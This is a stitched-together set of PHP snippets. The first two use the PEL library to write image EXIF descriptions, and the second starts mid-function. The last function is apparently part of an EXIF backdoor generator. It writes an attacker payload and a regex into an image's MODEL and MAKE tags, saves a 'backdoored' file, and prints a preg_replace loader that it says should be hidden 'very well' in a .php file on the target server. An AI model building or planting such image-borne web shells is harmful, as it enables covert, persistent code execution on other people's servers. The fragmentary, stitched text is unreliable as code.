/** * Updates the description of an image with the given data * * @param $id The internal id of the image * @param $title The title of the image * @param $description The description of the image * @param $category The category of the image * @param $tags An array of tags of the image */ public function updateDescription($filename, $id, $title, $description, $category, $tags) { $data = new PelDataWindow(file_get_contents($filename)); if (PelJpeg::isValid($data)) { $jpeg = $file = new PelJpeg(); $jpeg->load($data); $exif = $jpeg->getExif(); if ($exif == null) { $exif = new PelExif(); $jpeg->setExif($exif); $tiff = new PelTiff(); $exif->setTiff($tiff); } else { $tiff = $exif->getTiff(); } } elseif (PelTiff::isValid($data)) { $tiff = $file = new PelTiff(); $tiff->load($data); } else { return 0; } $ifd0 = $tiff->getIfd(); if ($ifd0 == null) { $ifd0 = new PelIfd(PelIfd::IFD0); $tiff->setIfd($ifd0); } $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION); $description = json_encode(array('id' => $id, 'Title' => $title, 'Description' => $description, 'Category' => $category, 'Tags' => implode(',', $tags))); if ($desc == null) { $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description); $ifd0->addEntry($desc); } else { $desc->setValue($description); } $file->saveFile($filename); }
$tiff->setIfd($ifd0); } /* Each entry in an IFD is identified with a tag. This will load the * ImageDescription entry if it is present. If the IFD does not * contain such an entry, null will be returned. */ $desc = $ifd0->getEntry(PelTag::IMAGE_DESCRIPTION); /* We need to check if the image already had a description stored. */ if ($desc == null) { /* The was no description in the image. */ println('Added new IMAGE_DESCRIPTION entry with "%s".', $description); /* In this case we simply create a new PelEntryAscii object to hold * the description. The constructor for PelEntryAscii needs to know * the tag and contents of the new entry. */ $desc = new PelEntryAscii(PelTag::IMAGE_DESCRIPTION, $description); /* This will insert the newly created entry with the description * into the IFD. */ $ifd0->addEntry($desc); } else { /* An old description was found in the image. */ println('Updating IMAGE_DESCRIPTION entry from "%s" to "%s".', $desc->getValue(), $description); /* The description is simply updated with the new description. */ $desc->setValue($description); } /* At this point the image on disk has not been changed, it is only * the object structure in memory which represent the image which has * been altered. This structure can be converted into a string of * bytes with the getBytes method, and saving this in the output file * completes the script. */ println('Writing file "%s".', $output); $file->saveFile($output); /* The End. */
function write_exif() { global $verbose, $headers, $regex, $payload, $original, $backdoored; require_once 'pel/PelDataWindow.php'; require_once 'pel/PelJpeg.php'; require_once 'pel/PelTiff.php'; setlocale(LC_ALL, ''); $data = new PelDataWindow(file_get_contents($original)); if (PelJpeg::isValid($data)) { $jpeg = $file = new PelJpeg(); $jpeg->load($data); $exif = $jpeg->getExif(); if ($exif == null) { if ($verbose) { print " # No APP1 section found, added new.\r\n"; } $exif = new PelExif(); $jpeg->setExif($exif); $tiff = new PelTiff(); $exif->setTiff($tiff); } else { if ($verbose) { print " # Found existing APP1 section.\r\n"; } $tiff = $exif->getTiff(); } } elseif (PelTiff::isValid($data)) { $tiff = $file = new PelTiff(); $tiff->load($data); } else { print " # Unrecognized image format! The first 16 bytes follow:\r\n"; PelConvert::bytesToDump($data->getBytes(0, 16)); exit(1); } $ifd0 = $tiff->getIfd(); if ($ifd0 == null) { if ($verbose) { print " # No IFD found, adding new.\r\n"; } $ifd0 = new PelIfd(PelIfd::IFD0); $tiff->setIfd($ifd0); } //add MODEL EXIF header $desc = $ifd0->getEntry(PelTag::MODEL); if ($desc == null) { if ($verbose) { print " # Added new MODEL entry with " . $payload . "\r\n"; } $desc = new PelEntryAscii(PelTag::MODEL, $payload); $ifd0->addEntry($desc); } else { if ($verbose) { print 'Updating MODEL entry from "' . $desc->getValue() . '" to "' . $payload . '".' . "\r\n"; } $desc->setValue($payload); } //add MAKE EXIF header $desc = $ifd0->getEntry(PelTag::MAKE); if ($desc == null) { if ($verbose) { print " # Added new MAKE entry with " . $regex . "\r\n"; } $desc = new PelEntryAscii(PelTag::MAKE, $regex); $ifd0->addEntry($desc); } else { if ($verbose) { print 'Updating MAKE entry from "' . $desc->getValue() . '" to "' . $regex . '".' . "\r\n"; } $desc->setValue($regex); } print " # Saving backdoor file : " . $backdoored . ".\r\n"; $file->saveFile($backdoored); print " # Saved.\r\n"; if ($verbose) { print "\r\n\r\n"; } print " # In order to work your backdoor, you need to hide this code very well in a .php file.\r\n"; print "\r\n<?php\r\n\$exif = exif_read_data('path_to_backdoored_file_uploaded_on_server.jpg');\r\n"; print "preg_replace(\$exif['" . $headers[0] . "'],\$exif['" . $headers[1] . "'],'');\r\n?>\r\n\r\n"; }